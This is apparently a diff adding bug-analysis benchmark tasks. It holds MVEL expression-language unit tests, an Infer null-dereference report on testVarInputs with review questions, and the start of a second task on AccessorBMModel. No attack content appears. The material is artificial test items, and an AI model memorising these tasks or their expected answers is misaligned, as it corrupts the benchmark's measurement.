+    public void testNegation2() {
+        assertEquals(false, parseDirect("fun && !fun"));
+    }
+
+    public void testNegation3() {
+        assertEquals(true, parseDirect("!(fun && fun)"));
+    }
+
+    public void testNegation4() {
+        assertEquals(false, parseDirect("(fun && fun)"));
+    }
+
+    public void testMultiStatement() {
+        assertEquals(true, parseDirect("populate(); barfoo == 'sarah'"));
+    }
+
+    public void testAssignment() {
+        assertEquals(true, parseDirect("populate(); blahfoo = 'sarah'; blahfoo == 'sarah'"));
+    }
+
+    public void testAssignment2() {
+        assertEquals("sarah", parseDirect("populate(); blahfoo = barfoo"));
+    }
+
+    public void testAssignment3() {
+        assertEquals(java.lang.Integer.class, parseDirect("blah = 5").getClass());
+    }
+
+    public void testAssignment4() {
+        assertEquals(102, parseDirect("a = 100 + 1 + 1"));
+    }
+
+    public void testOr() {
+        assertEquals(true, parseDirect("fun || true"));
+    }
+
+    public void testLiteralPassThrough() {
+        assertEquals(true, parseDirect("true"));
+    }
+
+    public void testLiteralPassThrough2() {
+        assertEquals(false, parseDirect("false"));
+    }
+
+    public void testLiteralPassThrough3() {
+        assertEquals(null, parseDirect("null"));
+    }
+
+    public void testRegEx() {
+        assertEquals(true, parseDirect("foo.bar.name ~= '[a-z].+'"));
+    }
+
+    public void testRegExNegate() {
+        assertEquals(false, parseDirect("!(foo.bar.name ~= '[a-z].+')"));
+    }
+
+    public void testRegEx2() {
+        assertEquals(true, parseDirect("foo.bar.name ~= '[a-z].+' && foo.bar.name != null"));
+    }
+
+    public void testBlank() {
+        assertEquals(true, parseDirect("'' == empty"));
+    }
+
+    public void testBlank2() {
+        assertEquals(true, parseDirect("BWAH == empty"));
+    }
+
+    public void testBooleanModeOnly2() {
+        assertEquals(false, (Object) MVEL.evalToBoolean("BWAH", base, map));
+    }
+
+    public void testBooleanModeOnly4() {
+        assertEquals(true, (Object) MVEL.evalToBoolean("hour == (hour + 0)", base, map));
+    }
+
+    public void testTernary() {
+        assertEquals("foobie", parseDirect("zero==0?'foobie':zero"));
+    }
+
+    public void testTernary2() {
+        assertEquals("blimpie", parseDirect("zero==1?'foobie':'blimpie'"));
+    }
+
+    public void testTernary3() {
+        assertEquals("foobiebarbie", parseDirect("zero==1?'foobie':'foobie'+'barbie'"));
+    }
+
+    public void testStrAppend() {
+        assertEquals("foobarcar", parseDirect("'foo' + 'bar' + 'car'"));
+    }
+
+    public void testStrAppend2() {
+        assertEquals("foobarcar1", parseDirect("'foobar' + 'car' + 1"));
+    }
+
+    public void testInstanceCheck1() {
+        assertEquals(true, parseDirect("c is 'java.lang.String'"));
+    }
+
+    public void testInstanceCheck2() {
+        assertEquals(false, parseDirect("pi is 'java.lang.Integer'"));
+    }
+
+    public void testBitwiseOr1() {
+        assertEquals(6, parseDirect("2 | 4"));
+    }
+
+    public void testBitwiseOr2() {
+        assertEquals(true, parseDirect("(2 | 1) > 0"));
+    }
+
+    public void testBitwiseOr3() {
+        assertEquals(true, parseDirect("(2 | 1) == 3"));
+    }
+
+    public void testBitwiseAnd1() {
+        assertEquals(2, parseDirect("2 & 3"));
+    }
+
+    public void testShiftLeft() {
+        assertEquals(4, parseDirect("2 << 1"));
+    }
+
+    public void testUnsignedShiftLeft() {
+        assertEquals(2, parseDirect("-2 <<< 0"));
+    }
+
+    public void testShiftRight() {
+        assertEquals(128, parseDirect("256 >> 1"));
+    }
+
+    public void testXOR() {
+        assertEquals(3, parseDirect("1 ^ 2"));
+    }
+
+    public void testContains1() {
+        assertEquals(true, parseDirect("list contains 'Happy!'"));
+    }
+
+    public void testContains2() {
+        assertEquals(false, parseDirect("list contains 'Foobie'"));
+    }
+
+    public void testContains3() {
+        assertEquals(true, parseDirect("sentence contains 'fox'"));
+    }
+
+    public void testContains4() {
+        assertEquals(false, parseDirect("sentence contains 'mike'"));
+    }
+
+    public void testContains5() {
+        assertEquals(true, parseDirect("!(sentence contains 'mike')"));
+    }
+
+    public void testInvert() {
+        assertEquals(~10, parseDirect("~10"));
+    }
+
+    public void testInvert2() {
+        assertEquals(~(10 + 1), parseDirect("~(10 + 1)"));
+    }
+
+    public void testInvert3() {
+        assertEquals(~10 + (1 + ~50), parseDirect("~10 + (1 + ~50)"));
+    }
+
+
+    public void testListCreation2() {
+        assertTrue(parseDirect("[\"test\"]") instanceof List);
+    }
+
+    public void testListCreation3() {
+        assertTrue(parseDirect("[66]") instanceof List);
+    }
+
+    public void testListCreation4() {
+        List ar = (List) parseDirect("[   66   , \"test\"   ]");
+        assertEquals(2, ar.size());
+        assertEquals(66, ar.get(0));
+        assertEquals("test", ar.get(1));
+    }
+
+
+    public void testListCreationWithCall() {
+        assertEquals(1, parseDirect("[\"apple\"].size()"));
+    }
+
+    public void testArrayCreationWithLength() {
+        assertEquals(2, parseDirect("Array.getLength({'foo', 'bar'})"));
+    }
+
+    public void testEmptyList() {
+        assertTrue(parseDirect("[]") instanceof List);
+    }
+
+    public void testEmptyArray() {
+        assertTrue(((Object[]) parseDirect("{}")).length == 0);
+    }
+
+    public void testArrayCreation() {
+        assertEquals(0, parseDirect("arrayTest = {{1, 2, 3}, {2, 1, 0}}; arrayTest[1][2]"));
+    }
+
+    public void testMapCreation() {
+        assertEquals("sarah", parseDirect("map = ['mike':'sarah','tom':'jacquelin']; map['mike']"));
+    }
+
+    public void testMapCreation2() {
+        assertEquals("sarah", parseDirect("map = ['mike' :'sarah'  ,'tom'  :'jacquelin'  ]; map['mike']"));
+    }
+
+    public void testMapCreation3() {
+        assertEquals("foo", parseDirect("map = [1 : 'foo']; map[1]"));
+    }
+
+    public void testProjectionSupport() {
+        assertEquals(true, parseDirect("(name in things) contains 'Bob'"));
+    }
+
+    public void testProjectionSupport2() {
+        assertEquals(3, parseDirect("(name in things).size()"));
+    }
+
+    public void testSizeOnInlineArray() {
+        assertEquals(3, parseDirect("{1,2,3}.size()"));
+    }
+
+
+    public void testStaticMethodFromLiteral() {
+        assertEquals(String.class.getName(), parseDirect("String.valueOf(Class.forName('java.lang.String').getName())"));
+    }
+
+    public void testMethodCallsEtc() {
+        parseDirect("title = 1; " +
+                "frame = new javax.swing.JFrame; " +
+                "label = new javax.swing.JLabel; " +
+                "title = title + 1;" +
+                "frame.setTitle(title);" +
+                "label.setText('MVEL UNIT TEST PACKAGE -- IF YOU SEE THIS, THAT IS GOOD');" +
+                "frame.getContentPane().add(label);" +
+                "frame.pack();" +
+                "frame.setVisible(true);");
+    }
+
+    public void testObjectInstantiation() {
+        parseDirect("new java.lang.String('foobie')");
+    }
+
+    public void testObjectInstantiationWithMethodCall() {
+        parseDirect("new String('foobie').toString()");
+    }
+
+    public void testObjectInstantiation2() {
+        parseDirect("new String() is String");
+    }
+
+    public void testObjectInstantiation3() {
+        parseDirect("new java.text.SimpleDateFormat('yyyy').format(new java.util.Date(System.currentTimeMillis()))");
+    }
+
+    public void testArrayCoercion() {
+        assertEquals("gonk", parseDirect("funMethod( {'gonk', 'foo'} )"));
+    }
+
+    public void testArrayCoercion2() {
+        assertEquals(10, parseDirect("sum({2,2,2,2,2})"));
+    }
+
+    public void testMapAccess() {
+        assertEquals("dog", parseDirect("funMap['foo'].bar.name"));
+    }
+
+    public void testMapAccess2() {
+        assertEquals("dog", parseDirect("funMap.foo.bar.name"));
+    }
+
+    public void testSoundex() {
+        assertTrue((Boolean) parseDirect("'foobar' soundslike 'fubar'"));
+    }
+
+    public void testSoundex2() {
+        assertFalse((Boolean) parseDirect("'flexbar' soundslike 'fubar'"));
+    }
+
+    public void testThisReference() {
+        assertEquals(true, parseDirect("this") instanceof Base);
+    }
+
+    public void testThisReference2() {
+        assertEquals(true, parseDirect("this.funMap") instanceof Map);
+    }
+
+    public void testThisReference3() {
+        assertEquals(true, parseDirect("this is org.mvel.tests.main.res.Base"));
+    }
+
+    public void testStringEscaping() {
+        assertEquals("\"Mike Brock\"", parseDirect("\"\\\"Mike Brock\\\"\""));
+    }
+
+    public void testStringEscaping2() {
+        assertEquals("MVEL's Parser is Fast", parseDirect("'MVEL\\'s Parser is Fast'"));
+    }
+
+    public void testEvalToBoolean() {
+        assertEquals(true, (boolean) MVEL.evalToBoolean("true ", "true"));
+        assertEquals(true, (boolean) MVEL.evalToBoolean("true ", "true"));
+    }
+
+    public void testCompiledMapStructures() {
+        Serializable compiled = compileExpression("['foo':'bar'] contains 'foo'");
+        executeExpression(compiled, null, null, Boolean.class);
+    }
+
+    public void testSubListInMap() {
+        assertEquals("pear", parseDirect("map = ['test' : 'poo', 'foo' : [c, 'pear']]; map['foo'][1]"));
+    }
+
+    public void testCompiledMethodCall() {
+        Serializable compiled = compileExpression("c.getClass()");
+        assertEquals(String.class, executeExpression(compiled, base, map));
+    }
+
+    public void testStaticNamespaceCall() {
+        assertEquals(java.util.ArrayList.class, parseDirect("java.util.ArrayList"));
+    }
+
+    public void testStaticNamespaceClassWithMethod() {
+        assertEquals("FooBar", parseDirect("java.lang.String.valueOf('FooBar')"));
+    }
+
+    public void testThisReferenceInMethodCall() {
+        assertEquals(101, parseDirect("Integer.parseInt(this.number)"));
+    }
+
+    public void testThisReferenceInConstructor() {
+        assertEquals("101", parseDirect("new String(this.number)"));
+    }
+
+    public void testConstructor() {
+        assertEquals("foo", parseDirect("a = 'foobar'; new String(a.toCharArray(), 0, 3)"));
+    }
+
+    public void testStaticNamespaceClassWithField() {
+        assertEquals(Integer.MAX_VALUE, parseDirect("java.lang.Integer.MAX_VALUE"));
+    }
+
+    public void testStaticNamespaceClassWithField2() {
+        assertEquals(Integer.MAX_VALUE, parseDirect("Integer.MAX_VALUE"));
+    }
+
+    public void testStaticFieldAsMethodParm() {
+        assertEquals(String.valueOf(Integer.MAX_VALUE), parseDirect("String.valueOf(Integer.MAX_VALUE)"));
+    }
+
+    public void testEmptyIf() {
+        assertEquals(5, parseDirect("a = 5; if (a == 5) { }; return a;"));
+    }
+
+    public void testIf() {
+        assertEquals(10, parseDirect("if (5 > 4) { return 10; } else { return 5; }"));
+    }
+
+    public void testIf2() {
+        assertEquals(10, parseDirect("if (5 < 4) { return 5; } else { return 10; }"));
+    }
+
+    public void testIfAndElse() {
+        assertEquals(true, parseDirect("if (false) { return false; } else { return true; }"));
+    }
+
+    public void testIfAndElseif() {
+        assertEquals(true, parseDirect("if (false) { return false; } else if(100 < 50) { return false; } else if (10 > 5) return true;"));
+    }
+
+    public void testIfAndElseIfCondensedGrammar() {
+        assertEquals("Foo", parseDirect("if (false) return 'Bar'; else return 'Foo';"));
+    }
+
+    public void testForeEach2() {
+        assertEquals(6, parseDirect("total = 0; a = {1,2,3}; foreach(item : a) { total += item }; total"));
+    }
+
+    public void testForEach3() {
+        assertEquals(true, parseDirect("a = {1,2,3}; foreach (i : a) { if (i == 1) { return true; } }"));
+    }
+
+    public void testForEach4() {
+        assertEquals("OneTwoThreeFour", parseDirect("a = {1,2,3,4}; builder = ''; foreach (i : a) {" +
+                " if (i == 1) { builder = builder + 'One' } else if (i == 2) { builder = builder + 'Two' } " +
+                "else if (i == 3) { builder = builder + 'Three' } else { builder = builder + 'Four' }" +
+                "}; builder;"));
+    }
+
+    public void testWith() {
+        assertEquals("OneTwo", parseDirect("with (foo) {aValue = 'One',bValue='Two'}; foo.aValue + foo.bValue;"));
+    }
+
+    public void testWith2() {
+        assertEquals("OneTwo", parseDirect(
+                "with (foo) { \n" +
+                        "aValue = 'One', \n" +
+                        "bValue='Two' \n" +
+                        "}; \n" +
+                        "foo.aValue + foo.bValue;"));
+    }
+
+    public void testAssertion() {
+        try {
+            parseDirect("assert false");
+            assertTrue(false);
+        }
+        catch (AssertionError error) {
+        }
+    }
+
+    public void testAssertion2() {
+        try {
+            parseDirect("assert true;");
+        }
+        catch (AssertionError error) {
+            assertTrue(false);
+        }
+    }
+
+    public void testMagicArraySize() {
+        assertEquals(5, parseDirect("stringArray.size()"));
+    }
+
+    public void testMagicArraySize2() {
+        assertEquals(5, parseDirect("intArray.size()"));
+    }
+
+    public void testStaticVarAssignment() {
+        assertEquals("1", parseDirect("String mikeBrock = 1; mikeBrock"));
+    }
+
+    public void testIntentionalFailure() {
+        try {
+            parseDirect("int = 0"); // should fail because int is a reserved word.
+            assertTrue(false);
+        }
+        catch (Exception e) {
+        }
+    }
+
+    public void testImport() {
+        assertEquals(HashMap.class, parseDirect("import java.util.HashMap; HashMap;"));
+    }
+
+    public void testStaticImport() {
+        assertEquals(2.0, parseDirect("import_static java.lang.Math.sqrt; sqrt(4)"));
+    }
+
+    public void testFunctionPointer() {
+        assertEquals(2.0, parseDirect("squareRoot = java.lang.Math.sqrt; squareRoot(4)"));
+    }
+
+    public void testFunctionPointerAsParam() {
+        assertEquals("2.0", parseDirect("squareRoot = Math.sqrt; new String(String.valueOf(squareRoot(4)));"));
+    }
+
+    public void testIncrementOperator() {
+        assertEquals(2, parseDirect("x = 1; x++; x"));
+    }
+
+    public void testPreIncrementOperator() {
+        assertEquals(2, parseDirect("x = 1; ++x"));
+    }
+
+    public void testDecrementOperator() {
+        assertEquals(1, parseDirect("x = 2; x--; x"));
+    }
+
+    public void testPreDecrementOperator() {
+        assertEquals(1, parseDirect("x = 2; --x"));
+    }
+
+    public void testQualifiedStaticTyping() {
+        assertEquals(20, parseDirect("java.math.BigDecimal a = new java.math.BigDecimal( 10.0 ); java.math.BigDecimal b = new java.math.BigDecimal( 10.0 ); java.math.BigDecimal c = a + b; return c; "));
+    }
+
+    public void testUnQualifiedStaticTyping() {
+        assertEquals(20, parseDirect("import java.math.BigDecimal; BigDecimal a = new BigDecimal( 10.0 ); BigDecimal b = new BigDecimal( 10.0 ); BigDecimal c = a + b; return c; "));
+    }
+
+    public void testObjectCreation() {
+        assertEquals(6, parseDirect("new Integer( 6 )"));
+    }
+
+    public void testTernary4() {
+        assertEquals("<test>", parseDirect("true ? '<test>' : '<poo>'"));
+    }
+
+    public void testStringAsCollection() {
+        assertEquals('o', parseDirect("abc = 'foo'; abc[1]"));
+    }
+
+    public void testSubExpressionIndexer() {
+        assertEquals("bar", parseDirect("xx = new java.util.HashMap(); xx.put('foo', 'bar'); prop = 'foo'; xx[prop];"));
+    }
+
+    public void testCompileTimeLiteralReduction() {
+        assertEquals(1000, parseDirect("10 * 100"));
+    }
+
+    public void testInterfaceResolution() {
+        Serializable ex = MVEL.compileExpression("foo.collectionTest.size()");
+
+        foo.setCollectionTest(new HashSet());
+        Object result1 = MVEL.executeExpression(ex, map);
+
+        foo.setCollectionTest(new ArrayList());
+        Object result2 = MVEL.executeExpression(ex, map);
+
+        assertEquals(result1, result2);
+    }
+
+
+    /**
+     * Start collections framework based compliance tests
+     */
+    public void testCreationOfSet() {
+        assertEquals("foo bar foo bar",
+                parseDirect("set = new java.util.HashSet(); " +
+                        "set.add('foo');" +
+                        "set.add('bar');" +
+                        "output = '';" +
+                        "foreach (item : set) {" +
+                        "output = output + item + ' ';" +
+                        "} " +
+                        "foreach (item : set) {" +
+                        "output = output + item + ' ';" +
+                        "} " +
+                        "output = output.trim();" +
+                        "if (set.size() == 2) { return output; }"));
+
+    }
+
+
+    public void testCreationOfList() {
+        assertEquals(5, parseDirect("l = new java.util.LinkedList();" +
+                "l.add('fun');" +
+                "l.add('happy');" +
+                "l.add('fun');" +
+                "l.add('slide');" +
+                "l.add('crap');" +
+                "poo = new java.util.ArrayList(l);" +
+                "poo.size();"));
+    }
+
+    public void testMapOperations() {
+        assertEquals("poo5", parseDirect(
+                "l = new java.util.ArrayList();" +
+                        "l.add('plop');" +
+                        "l.add('poo');" +
+                        "m = new java.util.HashMap();" +
+                        "m.put('foo', l);" +
+                        "m.put('cah', 'mah');" +
+                        "m.put('bar', 'foo');" +
+                        "m.put('sarah', 'mike');" +
+                        "m.put('edgar', 'poe');" +
+                        "" +
+                        "if (m.edgar == 'poe') {" +
+                        "return m.foo[1] + m.size();" +
+                        "}"));
+    }
+
+    public void testStackOperations() {
+        assertEquals(10, parseDirect(
+                "stk = new java.util.Stack();" +
+                        "stk.push(5);" +
+                        "stk.push(5);" +
+                        "stk.pop() + stk.pop();"
+        ));
+    }
+
+    public void testCompileMultiLine() {
+        ExpressionCompiler compiler = new ExpressionCompiler("a = 5;\nb = 5;\n\nif (a == b) {\n\nSystem.out.println('Good');\nreturn a + b;\n}\n");
+        System.out.println("-------\n" + compiler.getExpression() + "\n-------\n");
+
+        compiler.setDebugSymbols(true);
+
+        ParserContext ctx = new ParserContext();
+        ctx.setSourceFile("test.mv");
+
+        CompiledExpression compiled = compiler.compile(ctx);
+
+        System.out.println(DebugTools.decompile(compiled));
+
+        MVELRuntime.registerBreakpoint("test.mv", 7);
+
+        Debugger testDebugger = new Debugger() {
+
+            public int onBreak(Frame frame) {
+                System.out.println("Breakpoint [source:" + frame.getSourceName() + "; line:" + frame.getLineNumber() + "]");
+
+                return 0;
+            }
+
+        };
+
+        MVELRuntime.setThreadDebugger(testDebugger);
+
+        assertEquals(10, MVEL.executeDebugger(compiled, null, new MapVariableResolverFactory(map)));
+    }
+
+    public void testReflectionCache() {
+        assertEquals("happyBar", parseDirect("foo.happy(); foo.bar.happy()"));
+    }
+
+    public void testVarInputs() {
+        ExpressionCompiler compiler = new ExpressionCompiler("test != foo && bo.addSomething(trouble); String bleh = foo; twa = bleh;");
+
+        CompiledExpression c = compiler.compile();
+
+        assertEquals(4, compiler.getInputs().size());
+
+        assertTrue(compiler.getInputs().contains("test"));
+        assertTrue(compiler.getInputs().contains("foo"));
+        assertTrue(compiler.getInputs().contains("bo"));
+        assertTrue(compiler.getInputs().contains("trouble"));
+
+        assertEquals(2, compiler.getLocals().size());
+
+        assertTrue(compiler.getLocals().contains("bleh"));
+        assertTrue(compiler.getLocals().contains("twa"));
+
+        assertEquals(String.class, DebugTools.determineType("bleh", c));
+    }
+
+    public void testVarInputs2() {
+        ExpressionCompiler compiler = new ExpressionCompiler("test != foo && bo.addSomething(trouble); String bleh = foo; twa = bleh;");
+        ParserContext ctx = new ParserContext();
+        ctx.setRetainParserState(true);
+
+        CompiledExpression c = compiler.compile(ctx);
+
+        System.out.println(ctx.getVarOrInputType("bleh"));
+    }
+
+    public void testAnalyzer() {
+        ExpressionCompiler compiler = new ExpressionCompiler("order.id == 10");
+        compiler.compile();
+
+        for (String input : compiler.getInputs()) {
+            System.out.println("input>" + input);
+        }
+
+        assertEquals(1, compiler.getInputs().size());
+        assertTrue(compiler.getInputs().contains("order"));
+    }
+
+
+    public void testClassImportViaFactory() {
+        MapVariableResolverFactory mvf = new MapVariableResolverFactory(map);
+        ClassImportResolverFactory classes = new ClassImportResolverFactory();
+        classes.addClass(HashMap.class);
+
+        ResolverTools.appendFactory(mvf, classes);
+
+        Serializable compiled = compileExpression("HashMap map = new HashMap()", classes.getImportedClasses());
+
+        assertTrue(executeExpression(compiled, mvf) instanceof HashMap);
+    }
+
+    public void testCheeseConstructor() {
+        MapVariableResolverFactory mvf = new MapVariableResolverFactory(map);
+        ClassImportResolverFactory classes = new ClassImportResolverFactory();
+        classes.addClass(Cheese.class);
+
+        ResolverTools.appendFactory(mvf, classes);
+
+        Serializable compiled = compileExpression("cheese = new Cheese(\"cheddar\", 15);", classes.getImportedClasses());
+
+        assertTrue(executeExpression(compiled, mvf) instanceof Cheese);
+    }
+
+    public void testInterceptors() {
+        Interceptor testInterceptor = new Interceptor() {
+            public int doBefore(ASTNode node, VariableResolverFactory factory) {
+                System.out.println("BEFORE Node: " + node.getName());
+                return 0;
+            }
+
+            public int doAfter(Object val, ASTNode node, VariableResolverFactory factory) {
+                System.out.println("AFTER Node: " + node.getName());
+                return 0;
+            }
+        };
+
+        Map<String, Interceptor> interceptors = new HashMap<String, Interceptor>();
+        interceptors.put("test", testInterceptor);
+
+        Serializable compiled = compileExpression("@test System.out.println('MIDDLE');", null, interceptors);
+
+        executeExpression(compiled);
+    }
+
+
+    public void testMacroSupport() {
+        Map<String, Object> vars = new HashMap<String, Object>();
+        vars.put("foo", new Foo());
+
+        Map<String, Interceptor> interceptors = new HashMap<String, Interceptor>();
+        Map<String, Macro> macros = new HashMap<String, Macro>();
+
+        interceptors.put("Modify", new Interceptor() {
+            public int doBefore(ASTNode node, VariableResolverFactory factory) {
+                factory.createVariable("mod", "FOOBAR!");
+                return 0;
+            }
+
+            public int doAfter(Object val, ASTNode node, VariableResolverFactory factory) {
+                return 0;
+            }
+        });
+
+        macros.put("modify", new Macro() {
+            public String doMacro() {
+                return "@Modify with";
+            }
+        });
+
+        Serializable s = compileExpression(parseMacros("modify (foo) { aValue = 'poo' }; mod", macros)
+                , null, interceptors);
+
+        assertEquals("FOOBAR!", executeExpression(s, vars));
+    }
+
+    public void testComments() {
+        assertEquals(10, parseDirect("// This is a comment\n5 + 5"));
+    }
+
+    public void testComments2() {
+        assertEquals(20, parseDirect("10 + 10; // This is a comment"));
+    }
+
+    public void testComments3() {
+        assertEquals(30, parseDirect("/* This is a test of\r\n" +
+                "MVEL's support for\r\n" +
+                "multi-line comments\r\n" +
+                "*/\r\n 15 + 15"));
+    }
+
+    public void testComments4() {
+        assertEquals(50, parseDirect("/** This is a fun test script **/\r\n" +
+                "a = 10;\r\n" +
+                "/**\r\n" +
+                "* Here is a useful variable\r\n" +
+                "*/\r\n" +
+                "b = 20; // set b to '20'\r\n" +
+                "return ((a + b) * 2) - 10;"));
+    }
+
+    public void testStrictTypingCompilation() {
+        ExpressionCompiler compiler = new ExpressionCompiler("a = 0; a + 5");
+        ParserContext ctx = new ParserContext();
+        ctx.setStrictTypeEnforcement(true);
+
+        try {
+            compiler.compile(ctx);
+        }
+        catch (CompileException e) {
+            assertEquals(1, e.getErrors().size());
+            return;
+        }
+        assertTrue(false);
+    }
+
+    public Object parseDirect(String ex) {
+        return compiledExecute(ex);
+    }
+
+    public Object compiledExecute(String ex) {
+        OptimizerFactory.setDefaultOptimizer("ASM");
+
+        ExpressionCompiler compiler = new ExpressionCompiler(ex);
+        Serializable compiled = compiler.compile();
+
+        //       System.out.println(DebugTools.decompile(compiled));
+
+        Object first = executeExpression(compiled, base, map);
+        Object second = executeExpression(compiled, base, map);
+        Object third = MVEL.eval(ex, base, map);
+
+
+        if (first != null && !first.getClass().isArray()) {
+            assertEquals(first, second);
+            if (!first.equals(second)) {
+                throw new AssertionError("Different result from test 1 and 2 (Compiled Re-Run / JIT) [first: "
+                        + String.valueOf(first) + "; second: " + String.valueOf(second) + "]");
+            }
+
+
+            if (!first.equals(third)) {
+                throw new AssertionError("Different result from test 1 and 3 (Compiled to Interpreted) [first: " +
+                        String.valueOf(first) + "; third: " + String.valueOf(third) + "]");
+            }
+        }
+
+        OptimizerFactory.setDefaultOptimizer("reflective");
+
+        compiled = compileExpression(ex);
+
+        Object fourth = executeExpression(compiled, base, map);
+        Object fifth = executeExpression(compiled, base, map);
+
+        if (fourth != null && !fourth.getClass().isArray()) {
+            assertEquals(fourth, fifth);
+            if (!fourth.equals(fifth)) {
+                throw new AssertionError("Different result from test 4 and 5 (Compiled Re-Run / Reflective) [first: "
+                        + String.valueOf(first) + "; second: " + String.valueOf(second) + "]");
+            }
+        }
+
+        return second;
+    }
+
+    public Object compiledExecute(String ex, Object base, Map map) {
+        Serializable compiled = compileExpression(ex);
+
+        Object first = executeExpression(compiled, base, map);
+        Object second = executeExpression(compiled, base, map);
+
+        if (first != null && !first.getClass().isArray())
+            assertSame(first, second);
+
+        return second;
+    }
+
+
+    @SuppressWarnings({"unchecked"})
+    public void testDifferentImplSameCompile() {
+        Serializable compiled = compileExpression("a.funMap.hello");
+
+        Map testMap = new HashMap();
+
+        for (int i = 0; i < 100; i++) {
+            Base b = new Base();
+            b.funMap.put("hello", "dog");
+            testMap.put("a", b);
+
+
+            assertEquals("dog", executeExpression(compiled, testMap));
+
+            b = new Base();
+            b.funMap.put("hello", "cat");
+            testMap.put("a", b);
+
+            assertEquals("cat", executeExpression(compiled, testMap));
+        }
+    }
+
+    @SuppressWarnings({"unchecked"})
+    public void testInterfaceMethodCallWithSpace() {
+        Serializable compiled = compileExpression("drools.retract (cheese)");
+        Map map = new HashMap();
+        DefaultKnowledgeHelper helper = new DefaultKnowledgeHelper();
+        map.put("drools", helper);
+        Cheese cheese = new Cheese("stilton", 15);
+        map.put("cheese", cheese);
+
+        executeExpression(compiled, map);
+        assertSame(cheese, helper.retracted.get(0));
+    }
+
+    @SuppressWarnings({"unchecked"})
+    public void testInterfaceMethodCallWithMacro() {
+        Map macros = new HashMap(1);
+
+        macros.put("retract",
+                new Macro() {
+                    public String doMacro() {
+                        return "drools.retract";
+                    }
+                });
+
+        Serializable compiled = compileExpression(parseMacros("retract(cheese)", macros));
+        Map map = new HashMap();
+        DefaultKnowledgeHelper helper = new DefaultKnowledgeHelper();
+        map.put("drools", helper);
+        Cheese cheese = new Cheese("stilton", 15);
+        map.put("cheese", cheese);
+
+        executeExpression(compiled, map);
+        assertSame(cheese, helper.retracted.get(0));
+    }
+
+
+    @SuppressWarnings({"UnnecessaryBoxing"})
+    public void testToList() {
+        String text = "misc.toList(foo.bar.name, 'hello', 42, ['key1' : 'value1', c : [ foo.bar.age, 'car', 42 ]], [42, [c : 'value1']] )";
+        List list = (List) parseDirect(text);
+        assertSame("dog", list.get(0));
+        assertEquals("hello", list.get(1));
+        assertEquals(new Integer(42), list.get(2));
+        Map map = (Map) list.get(3);
+        assertEquals("value1", map.get("key1"));
+
+        List nestedList = (List) map.get("cat");
+        assertEquals(14, nestedList.get(0));
+        assertEquals("car", nestedList.get(1));
+        assertEquals(42, nestedList.get(2));
+
+        nestedList = (List) list.get(4);
+        assertEquals(42, nestedList.get(0));
+        map = (Map) nestedList.get(1);
+        assertEquals("value1", map.get("cat"));
+    }
+
+    public void testToList2() {
+        for (int i = 0; i < 10; i++) {
+            testToList();
+        }
+    }
+
+    public static class MiscTestClass {
+        int exec = 0;
+
+        @SuppressWarnings({"unchecked", "UnnecessaryBoxing"})
+        public List toList(Object object1, String string, int integer, Map map, List list) {
+            exec++;
+            List l = new ArrayList();
+            l.add(object1);
+            l.add(string);
+            l.add(new Integer(integer));
+            l.add(map);
+            l.add(list);
+            return l;
+        }
+
+
+        public int getExec() {
+            return exec;
+        }
+    }
+
+    @SuppressWarnings({"unchecked"})
+    public void testCalculateAge() {
+        //    System.out.println("Calculating the Age");
+        Calendar c1 = Calendar.getInstance();
+        c1.set(1999, 0, 10); // 1999 jan 20
+        Map objectMap = new HashMap(1);
+        Map propertyMap = new HashMap(1);
+        propertyMap.put("GEBDAT", c1.getTime());
+        objectMap.put("EV_VI_ANT1", propertyMap);
+        assertEquals("N", compiledExecute("new org.mvel.tests.main.res.PDFFieldUtil().calculateAge(EV_VI_ANT1.GEBDAT) >= 25 ? 'Y' : 'N'"
+                , null, objectMap));
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `compiler.getInputs()` could be null and is dereferenced at line 830.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CoreConfidenceTests.testVarInputs()
+
+### Procedure Id:
+org.mvel.tests.main.CoreConfidenceTests.testVarInputs():void.876cc61ba1ef7083d560f4541b5d5f4c
+
+### File:
+src/test/java/org/mvel/tests/main/CoreConfidenceTests.java
+
+### Key:
+CoreConfidenceTests.java|testVarInputs|NULL_DEREFERENCE
+
+### Node Key:
+aa66545b443e053e1949db82c636558b
+
+### Hash:
+8c2c7c75646a34ea1f7cc1a743825caa
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4760/instruction.md b/inferredbugs-4760/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9a8477fe4740f3d8b487f19a439ca2a9a3642547
--- /dev/null
+++ b/inferredbugs-4760/instruction.md
@@ -0,0 +1,92 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mvel
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.mvel.tests;
+
+import org.mvel.Accessor;
+import org.mvel.DataConversion;
+import org.mvel.ExecutableStatement;
+import org.mvel.integration.VariableResolverFactory;
+
+
+public class AccessorBMModel implements Accessor {
+    private ExecutableStatement p0;
+
+
+    public Object getValue(Object ctx, Object elCtx, VariableResolverFactory variableFactory) {
+        return Math.sqrt(DataConversion.convert(p0.getValue(ctx, variableFactory), Double.class).doubleValue());
+    }
+
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `convert(AccessorBMModel.p0.getValue(ctx,variableFactory),java.lang.Double)` could be null and is dereferenced at line 14.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object AccessorBMModel.getValue(Object,Object,VariableResolverFactory)
+
+### Procedure Id:
+org.mvel.tests.AccessorBMModel.getValue(java.lang.Object,java.lang.Object,org.mvel.integration.Varia.84336f7aa677c70f82e320827d6a2e7d
+
+### File:
+src/test/java/org/mvel/tests/AccessorBMModel.java
+
+### Key:
+AccessorBMModel.java|getValue|NULL_DEREFERENCE
+
